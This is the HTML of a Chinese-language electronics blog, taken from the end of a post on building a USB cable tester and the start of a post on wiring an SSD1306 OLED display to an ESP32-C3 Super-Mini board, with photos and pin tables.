<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ1su95cjmDFHENH3hyaQHifg0VOwb9EsPn1bJFIzSF-azlUoXNs1Eel4P89dTQCBBk2foEiHUTkWF78Zl_4N9BStpMIi7hu1RuDYim2N2eILoGQgAO9V4sodr0YmxF9wxNwvIwq4c-Ah3om6uxKT4h29pH30AUj3onPBNZQN4qoapy84sSzksj6aWn90/w0/diy-usb-cable-tester-019.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZ1su95cjmDFHENH3hyaQHifg0VOwb9EsPn1bJFIzSF-azlUoXNs1Eel4P89dTQCBBk2foEiHUTkWF78Zl_4N9BStpMIi7hu1RuDYim2N2eILoGQgAO9V4sodr0YmxF9wxNwvIwq4c-Ah3om6uxKT4h29pH30AUj3onPBNZQN4qoapy84sSzksj6aWn90/w600/diy-usb-cable-tester-019.jpg"/></a></div>
<p>在下這次使用 SMD電阻 及 SMD LED 焊接,減少使用空間<br/>
但由於 SMD零件 沒有引腳,要連接線路又需要用額外導電體連接<br/>
零件太細小,焊接時比較難控制位置,而且加熱時間過長又擔心零件會損壞<br/>
其實會比較麻煩,但還是需要學習焊接 SMD零件</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0cXylkxO22H-QRz4r_EIi6iz8O2KWl9ytBk3bA3dIXn9CjIZOl_AZ7E9OyO-NlUkkvfM6WARtPsONy83O-N3QDUn0CtCDwQ_ApyKnIcRiL3YMy1rJKSsAT-KsPMkblJhYyRXRTVSk0b98KTrk8EwcSVpDr2kKj_PzpnqWUzYZlNh1bhX77CNrU81VVtM/w0/diy-usb-cable-tester-017.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0cXylkxO22H-QRz4r_EIi6iz8O2KWl9ytBk3bA3dIXn9CjIZOl_AZ7E9OyO-NlUkkvfM6WARtPsONy83O-N3QDUn0CtCDwQ_ApyKnIcRiL3YMy1rJKSsAT-KsPMkblJhYyRXRTVSk0b98KTrk8EwcSVpDr2kKj_PzpnqWUzYZlNh1bhX77CNrU81VVtM/w600/diy-usb-cable-tester-017.jpg"/></a></div>
<p>由於在下使用的蜂鳴器能支援 5V ,因此可以減省電阻焊接<br/>
但於由於沒有電阻,過高電壓會燒毀蜂鳴器<br/>
(懶惰的代價)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyCPb63lVzXNISh2SFaaW2Tm5QIwlhm767jGAyCyGxn4x4vSeCRZPSM_OB3GYqZ9KG1V39fbiepbeUIgil9unKM6QWA5s1uyc4jF4411g67ow2YvlGxqC94hz6f2VP9FTWvkuqBxGxwCBv_v2Zx9Dtl9KVO8cysK5JrkYnvIOh7McCdHPyX_cmlugTkI/w0/diy-usb-cable-tester-018.jpg"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyCPb63lVzXNISh2SFaaW2Tm5QIwlhm767jGAyCyGxn4x4vSeCRZPSM_OB3GYqZ9KG1V39fbiepbeUIgil9unKM6QWA5s1uyc4jF4411g67ow2YvlGxqC94hz6f2VP9FTWvkuqBxGxwCBv_v2Zx9Dtl9KVO8cysK5JrkYnvIOh7McCdHPyX_cmlugTkI/w600/diy-usb-cable-tester-018.jpg" usemap="#map"/></a></div>
<map name="map">
<area shape="circle" coords="514,124,50" title="VCC" alt="VCC" href="##" onclick="window.alert('VCC');"/>
<area shape="circle" coords="372,175,50" title="D-" alt="D-" href="##" onclick="window.alert('D-');"/>
<area shape="circle" coords="220,229,50" title="D+" alt="D+" href="##" onclick="window.alert('D+');"/>
<area shape="circle" coords="74,287,50" title="GND" alt="GND" href="##" onclick="window.alert('GND');"/>
</map>
<p>如果通電連接 USB線 後立即鳴響,會非常嘈吵,亦無法得知哪條線芯正常與否<br/>
因此在下將線芯連接到按壓按鈕,對應線芯功用<br/>
順序的按鈕為:</p>
<div>
<ol>
<li>VCC</li>
<li>D-</li>
<li>D+</li>
<li>GND</li>
</ol>
</div>
<div><a href="https://photos.google.com/share/AF1QipN9g72-IucTYM6A56RhbouyN-DDaxhuhDHl1U4hXZsUMbZamH-53oTLxwyNfSHf_g/photo/AF1QipODs_FBb0G_FhgXweQENFdzWR9tFcfgiAWJqH4w?key=NnZrdG00RDdORkV0UU9IbXJqd1M4eWJNQTMtM1FB"><img alt="見下文" title="見下文" aria-hidden="true" width="600" src="https://lh3.googleusercontent.com/pw/ABLVV84XJpUnTYlUhRWKbFdBK7e5RiInVwGZaEjYZyGyoOGPydtxrYviIH6aBe3aBYMu3B0oTFqFjri1BtumQU3BD7N9ZjWQpQ0LzgfKCCIKVmpQVdtFvH89JAxFc1nEiPgl_ul8jhQyk8rD4YXcsr19giZ95B1GGrLvlPmkWS0BWcIGoZkSpGu1sdjhRhJaDptTJ1RAP_XYE0oMBMLkE6nlVmAzoOHZ0HRJ2lG6lHpW5gsbgSKKWCm6xbaVhbVZMyFVohn40PleaDlikUpitEx9HwgZTmpwGGIKhF6kRWNHij9T6vucRKNT585trwk0PlMH4rJWmEV6196qh6XPo4NKAXFtaiQgQoSD3phFRU0RWVYc95lnjbwi1WGrq8KXD_z3wCueiIMZacSwgWKb5mhdGXfE6gMtLcwQ3vUuPnIDKmSSvdbH9YaGPsqUIP1D-iFMJ9cyICC7mP8JFXJ4evMMG91nHIeEbkSXs3QvPF3vyTTQmKt8hVH_R4U_dZko9Iciet2rJbvudWefu8-a2NzQwPOZS_2SVOTexGXVwPjJCOiRsq5f4wk4MYBUueDQ9UUBwQnKA-TTPlLib-L8XaFmsRUGiLa616aF-zm8kzG4shHoV0LbR80xiun2mfxa30_eZTxd_drph7Hpm8oX_02KLxk2Ur70QeMeAyipMEIJ2bUZ5u6SCTdzNmac3DdDQMVMgDRljuP-nNKbZ4dEWm2JrsbwsO1WOkaQAWQUFQDS6sO-Xn26wP8Zq7fNXYd0BBX9PIbQ9902xxgqutGhPmPBzfFmZlM1x_6IoDe_75gQCZCz6uH1bJK4Ca_uEhHZ92l80Y3cFUwimKbc8yrucyYPlwYY2E8FS1LT3QihZAP_566y0MeaeEutQZwKP0VQ7f6lfR_9SNjEWcl39KoqKuIvERvB9raECKODG8yhYAMLT8gBPBCyIBav1jifttqIkPY=w600"/></a></div>
<p>開啟電源 並 接通USB線 後,按下對應按鈕會令蜂鳴器蜂響</p>
<p></p>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<p>由於其中一端的 USB插口 全部引腳都焊接在一起,因此只適合檢查 USB線<br/>
如果接駁 USB裝置 或 USB線路另一端連接到其他電子裝置 ,有機會燒毀連接裝置,甚至燒毀宿主裝置</p>
<p>由於在下沒有 Lightning插口,因此無法焊接及測試 Lightning線<br/>
另外官方的 Lightning線 有晶片焊接,避免損壞晶片,在下亦不建議連接 Lightning線</p>
<p>在下測試 USB線 時,發現不少接觸不良的接頭,尤其 Micro USB Type-B 的接頭最嚴重<br/>
稍微震動或郁動,連接便會中斷<br/>
這個工具其實很早已經有,類似 RJ45測線器 可以簡單方便地 測試線路的情況<br/>
但自己製作又是另一種體驗</p>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://www.mouser.hk/datasheet/2/837/USB1061-2888336.pdf">USB Type-A 2.0 插頭 規格書 @ Mouser</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/837/USB1046-1948751.pdf">USB Type-A 2.0 插孔 規格書 @ Mouser</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/837/USB1030-1948845.pdf">USB Type-B 2.0 插孔 規格書 @ Mouser</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/837/USB2066-2721664.pdf">Mini USB Type-B 插孔 規格書 @ Mouser</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/837/USB3080-1948937.pdf">Micro USB Type-B 2.0 插孔 規格書 @ Mouser</a></li>
<li><a href="https://www.mouser.hk/datasheet/2/837/Global_Connector_Technology_usb4105-3106202.pdf">USB Type-C 3.0 規格書 @ Mouser</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-2073534967237769712024-01-02T12:13:00.001+08:002024-01-18T23:48:04.091+08:00使用 SSD1306 OLED 顯示輸出效果<p>在下使用微控制器或開發板製作電子工具時,經常需要使用 序列(Serial) 來偵錯或測試效果<br/>
但當電子工具獨立運作時,便無法顯示 序列(Serial) 的內容<br/>
而先前試用 LCD熒幕 體積比較大,亦需要較多線路,使用上比較不便<br/>
因此在下嘗試尋找比較細小,線路較少,容易操作的顯示工具</p>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#0.96in-OLED">0.96in-OLED</a>
<ul>
<li><a href="#0.96in-OLED外觀">外觀</a></li>
<li><a href="#0.96in-OLED引腳">引腳</a></li>
</ul>
</li>
<li><a href="#ESP32-C3-Super-Mini">ESP32-C3 Super-Mini</a>
<ul>
<li><a href="#ESP32-C3-Super-Mini外觀">外觀</a></li>
<li><a href="#ESP32-C3-Super-Mini引腳">引腳</a></li>
<li><a href="#ESP32-C3-Super-Mini線路原型">線路原型</a></li>
<li><a href="#ESP32-C3-Super-Mini測試線路">測試線路</a></li>
<li><a href="#ESP32-C3-Super-Mini測試效果">測試效果</a></li>
</ul>
</li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="0.96in-OLED"></a><h4 class="mra-h4">0.96in-OLED</h4>
<a name="0.96in-OLED外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFS6NhyY5G6PdM4mGVnG8lHRezDU6VYE6xrY2jB1ZX1s_5xk5dm0a2MFNaJhLdXv6RuotvmSms_cTcJhF5vcVacqiZqI2b3sKdqDd9ZMyC1HSRUtr5kp2nHifKCjkpl64XWxKoLkVp_Tn_Oc932tpEMfBJgjigRF8s3ojiMagjQq4qkSxeZfcUZlPqRjo/w0/ssd1306-oled-001.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFS6NhyY5G6PdM4mGVnG8lHRezDU6VYE6xrY2jB1ZX1s_5xk5dm0a2MFNaJhLdXv6RuotvmSms_cTcJhF5vcVacqiZqI2b3sKdqDd9ZMyC1HSRUtr5kp2nHifKCjkpl64XWxKoLkVp_Tn_Oc932tpEMfBJgjigRF8s3ojiMagjQq4qkSxeZfcUZlPqRjo/w0/ssd1306-oled-001.jpg"/></a></div>
<p>SSD1306 0.96寸 OLED 的正面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh01JKVAbSrhIXL5EawKHpl6Ukk-YRIbfZFKHziW5WI5SyrsEFkL8gt7xeS9hwtXblfITDduk2yWvYZ4_E0WmEip1_3hFbfkevSY_yNfyFHQifbpO0MGCXD_C-AxNXE_ITx6VI3SWjzSFy6MkC7M7pwA5mV36cUGmKwlU-LUcYcSN1TIi3GGdwsb6BzIoQ/w0/ssd1306-oled-002.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh01JKVAbSrhIXL5EawKHpl6Ukk-YRIbfZFKHziW5WI5SyrsEFkL8gt7xeS9hwtXblfITDduk2yWvYZ4_E0WmEip1_3hFbfkevSY_yNfyFHQifbpO0MGCXD_C-AxNXE_ITx6VI3SWjzSFy6MkC7M7pwA5mV36cUGmKwlU-LUcYcSN1TIi3GGdwsb6BzIoQ/w0/ssd1306-oled-002.jpg"/></a></div>
<p>SSD1306 支援 I<sup>2</sup>C 及 SPI ,模組引出 I<sup>2</sup>C 的 SCL 及 SDA 引腳</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlKO2mbMaHogIom1h0bi7uWXrcm6QfHWKLTE5gskmUPUYRUVKdiYh9_93aKNfZ5s45Y2lpswd57e1wodDfyw1tEcBUrJF5gq9MYfPebQbJtoadDWjPp4q2t9cDdTVSyWbwJZ18rzgAvU0OAoTiH59crnfzRfI2zS1_tDrwYW9yepBdqDYM48lkdFvYlyo/w0/ssd1306-oled-003.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlKO2mbMaHogIom1h0bi7uWXrcm6QfHWKLTE5gskmUPUYRUVKdiYh9_93aKNfZ5s45Y2lpswd57e1wodDfyw1tEcBUrJF5gq9MYfPebQbJtoadDWjPp4q2t9cDdTVSyWbwJZ18rzgAvU0OAoTiH59crnfzRfI2zS1_tDrwYW9yepBdqDYM48lkdFvYlyo/w0/ssd1306-oled-003.jpg"/></a></div>
<p>SSD1306 0.96寸 OLED 的背面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi17_jp9CNI6CdjB8nTzpWi3p1-950BlXzoqkTXA3cIjB6FklufFkpVK4N_52KfkQgrkWlTUpO2D_TxOH8RinUKNq1kNiMsw04c9ifvqZbegEivS6HTjVav0Wb443KS5cGlK1-vWPfVP08uDV4VazN07E5haXKxi-kLuHigGVb3vk6luwGI7DMYb_A8es8/w0/ssd1306-oled-004.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi17_jp9CNI6CdjB8nTzpWi3p1-950BlXzoqkTXA3cIjB6FklufFkpVK4N_52KfkQgrkWlTUpO2D_TxOH8RinUKNq1kNiMsw04c9ifvqZbegEivS6HTjVav0Wb443KS5cGlK1-vWPfVP08uDV4VazN07E5haXKxi-kLuHigGVb3vk6luwGI7DMYb_A8es8/w0/ssd1306-oled-004.jpg"/></a></div>
<p>模組使用 <span class="mra-highlighter">0x3C</span> 作為 I<sup>2</sup>C <span class="mra-highlighter">從機地址</span><br/>
有需要的話,亦可以將連接到 0x3C 電阻除焊,連接到 0x3D ,便可以更改 I<sup>2</sup>C 從機地址<br/>
但亦即是一組 I<sup>2</sup>C 最多只支援 2個 SSD1306 OLED ,除非使用另一組 I<sup>2</sup>C<br/>
不過,如果只顯示效果資料,2個 SSD1306 OLED 已經足夠<br/>
(Address 串錯字)</p>
<a name="0.96in-OLED引腳"></a><h5 class="mra-h5">引腳</h5>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="15%"/>
<col width="15%"/>
<col width="15%"/>
<col width="55%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-gnd">
<td>1</td>
<td>GND</td>
<td></td>
<td>接地</td>
</tr>
<tr class="mra-pin-vcc">
<td>2</td>
<td>VCC</td>
<td></td>
<td>電源</td>
</tr>
<tr class="mra-pin-sck">
<td>3</td>
<td>SCK</td>
<td>輸入</td>
<td>序列時脈</td>
</tr>
<tr class="mra-pin-sda">
<td>4</td>
<td>SDA</td>
<td>輸入</td>
<td>序列資料</td>
</tr>
</tbody>
</table>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7t0kcbSw9Xy8k_BtDC7R19qPEw3Iu65R0B2jpHgoTrPucT2a_-5zqtL18W_eNQXREsJ7kat5uf6jaJrBDn8ZReYcQKniqHWza6BzqFXHC8vWYsq6OyUlLFplqv5sBoW2HZsWK24B9gUU4O1rwX_5TgvtbhxKZ-18DKFJM1ThU7nEMCTTjtb9E7b2DNdU/w0/ssd1306-oled-029.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7t0kcbSw9Xy8k_BtDC7R19qPEw3Iu65R0B2jpHgoTrPucT2a_-5zqtL18W_eNQXREsJ7kat5uf6jaJrBDn8ZReYcQKniqHWza6BzqFXHC8vWYsq6OyUlLFplqv5sBoW2HZsWK24B9gUU4O1rwX_5TgvtbhxKZ-18DKFJM1ThU7nEMCTTjtb9E7b2DNdU/w0/ssd1306-oled-029.jpg"/></a></div>
<p>在下根據引腳功能焊接不同顏色的引腳</p>
<a name="ESP32-C3-Super-Mini"></a><h4 class="mra-h4">ESP32-C3 Super-Mini</h4>
<a name="ESP32-C3-Super-Mini外觀"></a><h5 class="mra-h5">外觀</h5>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjECf7Or7sOdWdW-ynwDv6MD4U77FMcC5Frhvy5fdlv1cECV3a1DxdEFRuyr2zQRKHJMuTCEfsqSKxchq5an7Trk7A9-JSAqfHhVqHNKL73LuAHNLzY-MwgbyJk7PhMibsmPcDwRi5R8eVIsldL88TNzKY4WbCcxJP1T6egvuFTGyUE26x9VqR6YAXvDtY/w0/ssd1306-oled-020.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjECf7Or7sOdWdW-ynwDv6MD4U77FMcC5Frhvy5fdlv1cECV3a1DxdEFRuyr2zQRKHJMuTCEfsqSKxchq5an7Trk7A9-JSAqfHhVqHNKL73LuAHNLzY-MwgbyJk7PhMibsmPcDwRi5R8eVIsldL88TNzKY4WbCcxJP1T6egvuFTGyUE26x9VqR6YAXvDtY/w0/ssd1306-oled-020.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjktnXyVDSzrCy9lJUyEr3kkIWYDIr7d3zs6xDYnvhEKlVsUfp1TNQtL6CBAMFg0kWA0ldtkC9jpZVc7HhSRnaJFDXZWeOGZtCsz1hbpBYkWfDTdBz0pWNC-tjDSP8D9TuMhW32F_7ATC8RmeN9OuY1Ye8m2ui1oFX4B73XaT-fIUKhcy_asZnXTxVIz_Y/w0/ssd1306-oled-021.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjktnXyVDSzrCy9lJUyEr3kkIWYDIr7d3zs6xDYnvhEKlVsUfp1TNQtL6CBAMFg0kWA0ldtkC9jpZVc7HhSRnaJFDXZWeOGZtCsz1hbpBYkWfDTdBz0pWNC-tjDSP8D9TuMhW32F_7ATC8RmeN9OuY1Ye8m2ui1oFX4B73XaT-fIUKhcy_asZnXTxVIz_Y/w0/ssd1306-oled-021.jpg"/></a></div>
<p>ESP32-C3 Super-Mini 的正面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM-8JoIoAtkVxCvOMZzMt9zfnHVZJyO7XNni0qN_7CesmZkjb0pllfVf81Thraa4lAXIIXVUuHJhxaN50MTnyNOO-HVJbTbNDZMrNTE95_B3pS9qqfQctaTbBs-3HSKQhCWgVNt5X4WV1zA9UbMwv0oIrLWCK9p5PSpYcPCPGRvB9gNhEtYR9UH5Ta5JQ/w0/ssd1306-oled-031.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM-8JoIoAtkVxCvOMZzMt9zfnHVZJyO7XNni0qN_7CesmZkjb0pllfVf81Thraa4lAXIIXVUuHJhxaN50MTnyNOO-HVJbTbNDZMrNTE95_B3pS9qqfQctaTbBs-3HSKQhCWgVNt5X4WV1zA9UbMwv0oIrLWCK9p5PSpYcPCPGRvB9gNhEtYR9UH5Ta5JQ/w0/ssd1306-oled-031.jpg"/></a></div>
<p>ESP32-C3 Super-Mini 當然是使用 ESP32-C3晶片<br/>
ESP32-C3 具備 WiFi 及 BLE HID 功能</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5f-UlWWwoDmn7u_UGN4ZgqBqg0DCA5r8-pn2TberocYZwf8SjC_gtNoUeWwzeb9fjZaVWdHcMM4oJV9LHk-hmstsGbn_gx-cxhBjHLJZhzBF0tX3nuJuz0JAXXNtH0J5wLrNrzmsWeBLNSp85zI4OyH7pYK-KkQJpba4G4p24l_KY93knLv7_3cwm08U/w0/ssd1306-oled-022.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5f-UlWWwoDmn7u_UGN4ZgqBqg0DCA5r8-pn2TberocYZwf8SjC_gtNoUeWwzeb9fjZaVWdHcMM4oJV9LHk-hmstsGbn_gx-cxhBjHLJZhzBF0tX3nuJuz0JAXXNtH0J5wLrNrzmsWeBLNSp85zI4OyH7pYK-KkQJpba4G4p24l_KY93knLv7_3cwm08U/w0/ssd1306-oled-022.jpg"/></a></div>
<p>接駁電源後,紅色LED會亮著</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHf-YCH8fjtksMYrnBikSVZRivosA8S1Wt30xF2PCslaBxNQabv3xJuOJwwU5kMYls9l4kx6MLyEmYIx8dF0Iy8v6bqBbSsElF2J4ppvDn229wue6cZ7bFH6I1nyolwqahyphenhyphenllP5Npa-vzF7_j72qqmIDDxgw23n4z7IMhF07pmQhE4mfgFgqklHJN5fL4/w0/ssd1306-oled-023.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHf-YCH8fjtksMYrnBikSVZRivosA8S1Wt30xF2PCslaBxNQabv3xJuOJwwU5kMYls9l4kx6MLyEmYIx8dF0Iy8v6bqBbSsElF2J4ppvDn229wue6cZ7bFH6I1nyolwqahyphenhyphenllP5Npa-vzF7_j72qqmIDDxgw23n4z7IMhF07pmQhE4mfgFgqklHJN5fL4/w0/ssd1306-oled-023.jpg"/></a></div>
<p>可以控制亮度的藍色LED,直接連接到 ESP32-C3 的 <span class="mra-highlighter">GP8</span><br/>
接地時 亮著 或 PWM訊號越低越光</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpeO68ElCdkThzHg1voGJzGbTGqzEEZXfmlG_o4NsI_mjsz6idaWrx5vbsjNomGPmFW-8iFHaYJ5V0NR733VMfZkrstDvaI-IvH7qwrofJlXfYl4CmCvHyqrSRq-z4Aj75E-ByFZaBpw4YSlEgbYfSyis0Nu5Yk3noumhRnVfb16CbDWCR4na-IDedec/w0/ssd1306-oled-024.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXpeO68ElCdkThzHg1voGJzGbTGqzEEZXfmlG_o4NsI_mjsz6idaWrx5vbsjNomGPmFW-8iFHaYJ5V0NR733VMfZkrstDvaI-IvH7qwrofJlXfYl4CmCvHyqrSRq-z4Aj75E-ByFZaBpw4YSlEgbYfSyis0Nu5Yk3noumhRnVfb16CbDWCR4na-IDedec/w0/ssd1306-oled-024.jpg"/></a></div>
<p>BOOT按鈕,直接連接到 ESP32-C3 的 <span class="mra-highlighter">GP9</span>,接地時起動裝置會進入 <span class="mra-highlighter">起動模式</span><br/>
按下時接地</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOupW_-ak-gEnDb2ECXiDGbas8-tdMrA0SKFvAy-CvdpYCDskgWz0i3IZusrVDOctq2u4mAm23AltttSAGTq2BJcEDJMDlJIm2FVYnFKL0vX0OtkUwgDGAK6-rvpIFtqv4xUGt_j3lZRFyUC2O_ulZqKt9H_yJ9TN-BLZwO19YI1o8TrgYcDwEGGPim6Q/w0/ssd1306-oled-025.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOupW_-ak-gEnDb2ECXiDGbas8-tdMrA0SKFvAy-CvdpYCDskgWz0i3IZusrVDOctq2u4mAm23AltttSAGTq2BJcEDJMDlJIm2FVYnFKL0vX0OtkUwgDGAK6-rvpIFtqv4xUGt_j3lZRFyUC2O_ulZqKt9H_yJ9TN-BLZwO19YI1o8TrgYcDwEGGPim6Q/w0/ssd1306-oled-025.jpg"/></a></div>
<p>RST按鈕,接地時 <span class="mra-highlighter">重置裝置</span><br/>
按下時接地</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaTix2rZKT6ao527F5i9wtmhbaaOvqTJM-aBMJmhOLCR3msYNuZA3wr-ng85hTQzj5XOh0-TGBbGf5u4fhL1vmmHf4RWEmR4I4vlQCVQ-1GPRqvzmCqDQpgIW4GowH0SRGdCnWeAxwsyOsOGNFcfEwar4q80hFPWBXU5j05yvek4mmK_u7FFGUEHQphI/w0/ssd1306-oled-026.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQaTix2rZKT6ao527F5i9wtmhbaaOvqTJM-aBMJmhOLCR3msYNuZA3wr-ng85hTQzj5XOh0-TGBbGf5u4fhL1vmmHf4RWEmR4I4vlQCVQ-1GPRqvzmCqDQpgIW4GowH0SRGdCnWeAxwsyOsOGNFcfEwar4q80hFPWBXU5j05yvek4mmK_u7FFGUEHQphI/w0/ssd1306-oled-026.jpg"/></a></div>
<p>ESP32-C3 不是使用傳統天線,或電路板天線,而是使用更節省空間的 <span class="mra-highlighter">晶片天線</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzyQD8wixv_BxBvI-8ywNUovtQY3nxQSkM-n6NGvvxj0QJ-IQXtnixHVL1aUnFttL2fWkySjAEdjARzQJfMASq6cxbn59vRa4H5kXnP-qpliD76iO-kyWDpjbnxI4c5cHP8UmzGKuuHs2fS77EBdZXY52O5b52dV1pUJHuqbzOr1HYr1LqDK28bx7FT-8/w0/ssd1306-oled-027.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzyQD8wixv_BxBvI-8ywNUovtQY3nxQSkM-n6NGvvxj0QJ-IQXtnixHVL1aUnFttL2fWkySjAEdjARzQJfMASq6cxbn59vRa4H5kXnP-qpliD76iO-kyWDpjbnxI4c5cHP8UmzGKuuHs2fS77EBdZXY52O5b52dV1pUJHuqbzOr1HYr1LqDK28bx7FT-8/w0/ssd1306-oled-027.jpg"/></a></div>
<p>ESP32-C3 Super Mini 的背面<br/>
顯示引腳名稱</p>
<a name="ESP32-C3-Super-Mini引腳"></a><h5 class="mra-h5">引腳</h5>
<table class="mra-table mra-collapse" width="50%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
<col width="25%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th colspan="4">USB方向(正面)</th>
</tr>
<tr class="mra-pin-header">
<th colspan="2">左排引腳</th>
<th colspan="2">右排引腳</th>
</tr>
</thead>
<tbody>
<tr>
<td class="mra-pin-miso">GP5</td>
<td class="mra-pin-miso">1</td>
<td class="mra-pin-vcc">16</td>
<td class="mra-pin-vcc">5V</td>
</tr>
<tr>
<td class="mra-pin-mosi">GP6</td>
<td class="mra-pin-mosi">2</td>
<td class="mra-pin-gnd">15</td>
<td class="mra-pin-gnd">GND</td>
</tr>
<tr>
<td class="mra-pin-ss">GP7</td>
<td class="mra-pin-ss">3</td>
<td class="mra-pin-vcc">14</td>
<td class="mra-pin-vcc">3V3</td>
</tr>
<tr>
<td class="mra-pin-sda">GP8</td>
<td class="mra-pin-sda">4</td>
<td class="mra-pin-sck">13</td>
<td class="mra-pin-sck">GP4</td>
</tr>
<tr>
<td class="mra-pin-sck">GP9</td>
<td class="mra-pin-sck">5</td>
<td class="mra-pin-ana">12</td>
<td class="mra-pin-ana">GP3</td>
</tr>
<tr>
<td class="mra-pin-dig">GP10</td>
<td class="mra-pin-dig">6</td>
<td class="mra-pin-ana">11</td>
<td class="mra-pin-ana">GP2</td>
</tr>
<tr>
<td class="mra-pin-rx">GP20</td>
<td class="mra-pin-rx">7</td>
<td class="mra-pin-ana">10</td>
<td class="mra-pin-ana">GP1</td>
</tr>
<tr>
<td class="mra-pin-tx">GP21</td>
<td class="mra-pin-tx">8</td>
<td class="mra-pin-ana">9</td>
<td class="mra-pin-ana">GP0</td>
</tr>
</tbody>
</table>
<table class="mra-table mra-collapse" width="80%" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="15%"/>
<col width="15%"/>
<col width="15%"/>
<col width="55%"/>
</colgroup>
<thead>
<tr class="mra-pin-header">
<th>編號</th>
<th>引腳</th>
<th>方向</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr class="mra-pin-miso">
<td>1</td>
<td>GP5</td>
<td>輸入輸出</td>
<td>第5數碼引腳,第5類比引腳,SPI MISO引腳</td>
</tr>
<tr class="mra-pin-mosi">
<td>2</td>
<td>GP6</td>
<td>輸入輸出</td>
<td>第6數碼引腳,SPI MOSI引腳</td>
</tr>
<tr class="mra-pin-ss">
<td>3</td>
<td>GP7</td>
<td>輸入輸出</td>
<td>第7數碼引腳,SPI SS引腳</td>
</tr>
<tr class="mra-pin-sda">
<td>4</td>
<td>GP8</td>
<td>輸入輸出</td>
<td>第8數碼引腳,I<sup>2</sup>C SDA引腳</td>
</tr>
<tr class="mra-pin-scl">
<td>5</td>
<td>GP9</td>
<td>輸入輸出</td>
<td>第9數碼引腳,I<sup>2</sup>C SCL引腳</td>
</tr>
<tr class="mra-pin-sda">
<td>6</td>
<td>GP10</td>
